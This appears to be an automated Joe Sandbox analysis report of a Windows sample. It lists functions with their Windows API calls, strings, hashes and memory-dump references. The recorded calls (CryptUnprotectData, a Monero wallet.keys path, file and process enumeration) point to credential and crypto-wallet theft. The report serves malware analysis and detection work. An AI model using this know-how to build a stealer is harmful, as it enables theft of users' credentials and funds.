API String ID: 0-246233754
Opcode ID: ef2226dae9872f0af3e0768114adeadfa5d38af6547aa0b07ffa4b9b0cea0b6d
Instruction ID: 0244de85151dacd88051190ad7c311dc4077589e18ba077927f32a4b8c5a0a8c
Opcode Fuzzy Hash: ef2226dae9872f0af3e0768114adeadfa5d38af6547aa0b07ffa4b9b0cea0b6d
Instruction Fuzzy Hash: 6AB2E5F3A0C2149FE304AE2DEC8577AFBE5EF94720F16892DE6C4C3744EA3558448696

Function 011AF9A9 Relevance: 11.6, Strings: 8, Instructions: 1582COMMON

Download Yara Rule

Strings

AOn, xrefs: 011B0805
c"W}, xrefs: 011AFE7F
6Vo, xrefs: 011B05F1
M|-, xrefs: 011B02E2
^'Qw, xrefs: 011B09FE
g"W}, xrefs: 011AFE84
%{'N, xrefs: 011AFC25
WEF, xrefs: 011AFBE2

Memory Dump Source

Source File: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %{'N$6Vo$M|-$^'Qw$c"W}$g"W}$AOn$WEF
API String ID: 0-2025990060
Opcode ID: f887e53cf8930b29de8265286bf5fc4ad807128b7d15fb3e743cc22fd321ff6a
Instruction ID: ed606837bdea2fbda8547ee2a97734c752745644315937f783625696c46df32e
Opcode Fuzzy Hash: f887e53cf8930b29de8265286bf5fc4ad807128b7d15fb3e743cc22fd321ff6a
Instruction Fuzzy Hash: 2AB2D3F360C2009FE3046E2DEC8567AFBE9EF94720F1A892DE6C4C7744E63598418697

Function 00DF7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

GetKeyboardLayoutList.USER32(00000000,00000000,00E005AF), ref: 00DF7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00DF7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00DF7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00DF7C62
LocalFree.KERNEL32(00000000), ref: 00DF7D22

Strings

/ , xrefs: 00DF7C7F

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: b85ac848b95977d513241d4f7451bcadcf875c15a970c6b14db788865b816ff8
Instruction ID: 5ff2c62651b2ca0c4b25a15d98b4051dc65737e443f8cb79dc67fbd5bd35ae9b
Opcode Fuzzy Hash: b85ac848b95977d513241d4f7451bcadcf875c15a970c6b14db788865b816ff8
Instruction Fuzzy Hash: 994107B194021CABDB24DB94DC99BFEB378EB48700F608199E60966181DB746B85CFB1

Function 011A229B Relevance: 10.3, Strings: 7, Instructions: 1565COMMON

Download Yara Rule

Strings

&.k, xrefs: 011A24EB
1v:, xrefs: 011A2B45
ca42, xrefs: 011A3541
k[=, xrefs: 011A2C62
|Z;o, xrefs: 011A2399
uKu, xrefs: 011A258F
@JV~, xrefs: 011A2623

Memory Dump Source

Source File: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1v:$&.k$@JV~$ca42$k[=$uKu$|Z;o
API String ID: 0-935616274
Opcode ID: 63ed5de06395ce09c3400114f9685bd65f5e02e71b3d88c88685c93f157bcb0b
Instruction ID: c27a0c3605f634a8e7f09b7b480f84622a7a703d05de1058d4b1af5a1b3a41ce
Opcode Fuzzy Hash: 63ed5de06395ce09c3400114f9685bd65f5e02e71b3d88c88685c93f157bcb0b
Instruction Fuzzy Hash: 5BB2D3F360C2009FE704AE2DEC8567ABBE9EF94720F1A493DE6C5C3744EA3558058697

Function 00DEE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00E00D73), ref: 00DEE4A2
StrCmpCA.SHLWAPI(?,00E014F8), ref: 00DEE4F2
StrCmpCA.SHLWAPI(?,00E014FC), ref: 00DEE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEEBDF

Strings

\*.*, xrefs: 00DEE44D

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: c9ce18ac407776b0b88ef266df6fed489a8996fb92b6c907bd87355761a7e32c
Instruction ID: c8a306f545c0627d4858a1e959737d8f06df58c655d5643fabb837b88901136b
Opcode Fuzzy Hash: c9ce18ac407776b0b88ef266df6fed489a8996fb92b6c907bd87355761a7e32c
Instruction Fuzzy Hash: 66123BB190011C9ADB24FB64DC96EFD7338EF54340F4181A9B60EA6095EE746B49CFB2

Function 011ADEA3 Relevance: 9.1, Strings: 6, Instructions: 1610COMMON

Download Yara Rule

Strings

wu9!, xrefs: 011ADF73
t}C, xrefs: 011ADF80
T8X, xrefs: 011AE91F
WS_l, xrefs: 011ADF89
jbW, xrefs: 011AE5C9
E}O, xrefs: 011AE693

Memory Dump Source

Source File: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: E}O$T8X$WS_l$jbW$t}C$wu9!
API String ID: 0-381369359
Opcode ID: e584ebbf0e6746a6f3db450c456a1b11f7c56d3ad1ccb238964cbdf54f1f160b
Instruction ID: 3c76b90d65a908b1b72ec1301b98dcd7e45e864d85735a391a8a8a3908158447
Opcode Fuzzy Hash: e584ebbf0e6746a6f3db450c456a1b11f7c56d3ad1ccb238964cbdf54f1f160b
Instruction Fuzzy Hash: EEB208F3A0C2049FE3046E2DEC8567AFBE9EF94720F16493DEAC4C7744EA3558058696

Function 00DEC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00DEC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00DEC87C
lstrcat.KERNEL32(?,00E00B46), ref: 00DEC943
lstrcat.KERNEL32(?,00E00B47), ref: 00DEC957
lstrcat.KERNEL32(?,00E00B4E), ref: 00DEC978

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 678ea2258e4dc3d5d79d8ef6718ac41f7fae9b9fc9382a69a98cc8b0c5674293
Instruction ID: 614d35b695d938dbc69f0a63a1204b22b2698c8fcd8e2a6fc2e67f161ef9cb87
Opcode Fuzzy Hash: 678ea2258e4dc3d5d79d8ef6718ac41f7fae9b9fc9382a69a98cc8b0c5674293
Instruction Fuzzy Hash: EC418674904209DFCB20DF94DD89BFEB7B8FB48304F1041A8E509A7280D7755A85CFA1

Function 00DE7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00DE724D
RtlAllocateHeap.NTDLL(00000000), ref: 00DE7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00DE7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00DE72A4
LocalFree.KERNEL32(?), ref: 00DE72AE

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 8ce67f5b61f15a5dc51015d943f0cf7a96cca05d0b01a3d8dfc655d9421ed823
Instruction ID: 33bb99ee4e886afd660ec7bde863d216a36ec9f997a22fbe7675c9317f4bfcb4
Opcode Fuzzy Hash: 8ce67f5b61f15a5dc51015d943f0cf7a96cca05d0b01a3d8dfc655d9421ed823
Instruction Fuzzy Hash: 62014075B40208FBDB20DFD4CD46F9E7778AB44700F204055FB05AB2C4CAB5AA008B64

Function 00DF9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00DF961E
Process32First.KERNEL32(00E00ACA,00000128), ref: 00DF9632
Process32Next.KERNEL32(00E00ACA,00000128), ref: 00DF9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00DF965C
CloseHandle.KERNEL32(00E00ACA), ref: 00DF967A

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: d97a2f1f9089e1cedc7d5c01da517f76a3983881a79d0338b1a0aed7cac6be17
Instruction ID: ba0b75fec97ac6564f4284d2e4a8404dc84c3a960c19c98d8e339dd744ba51b4
Opcode Fuzzy Hash: d97a2f1f9089e1cedc7d5c01da517f76a3983881a79d0338b1a0aed7cac6be17
Instruction Fuzzy Hash: AD010C75A00208EBCB24DFA5D958BEDB7F8FB48300F108198EA46D7240DB759B44CF61

Function 011A7339 Relevance: 6.7, Strings: 4, Instructions: 1652COMMON

Download Yara Rule

Strings

p{;, xrefs: 011A83B1
KP\, xrefs: 011A7456
-1n?, xrefs: 011A7F5D
jc>, xrefs: 011A7C30

Memory Dump Source

Source File: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -1n?$KP\$jc>$p{;
API String ID: 0-916700898
Opcode ID: 76cc81a6f6edf74654f2f853c1f99f0aa51816b2cc193d779a5d2041841dc2e5
Instruction ID: 7020b1aa863a7baa5abcc94552f88cc62b988c2ea873fbb72dcd43be542848b4
Opcode Fuzzy Hash: 76cc81a6f6edf74654f2f853c1f99f0aa51816b2cc193d779a5d2041841dc2e5
Instruction Fuzzy Hash: 7DB216F3A0C204AFE3046E2DEC4567ABBE9EFD4720F1A493DE6C4C3744E67598058696

Function 00DF8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00E005B7), ref: 00DF86CA
Process32First.KERNEL32(?,00000128), ref: 00DF86DE
Process32Next.KERNEL32(?,00000128), ref: 00DF86F3

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

CloseHandle.KERNEL32(?), ref: 00DF8761

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 13de2375701789094fd049e58dbb093793072892d376110ca8717b0f2d9eea34
Instruction ID: 742cccd4e8f89916b3199d2cc1143c6c113ad21825a019b413c246458f40adfc
Opcode Fuzzy Hash: 13de2375701789094fd049e58dbb093793072892d376110ca8717b0f2d9eea34
Instruction Fuzzy Hash: 5F3127B190121CABCB24EF54CC45FEEB778EB49740F1181A9E60EA6190DF746A45CFB1

Function 00DF8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00DE5184,40000001,00000000,00000000,?,00DE5184), ref: 00DF8EC0

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
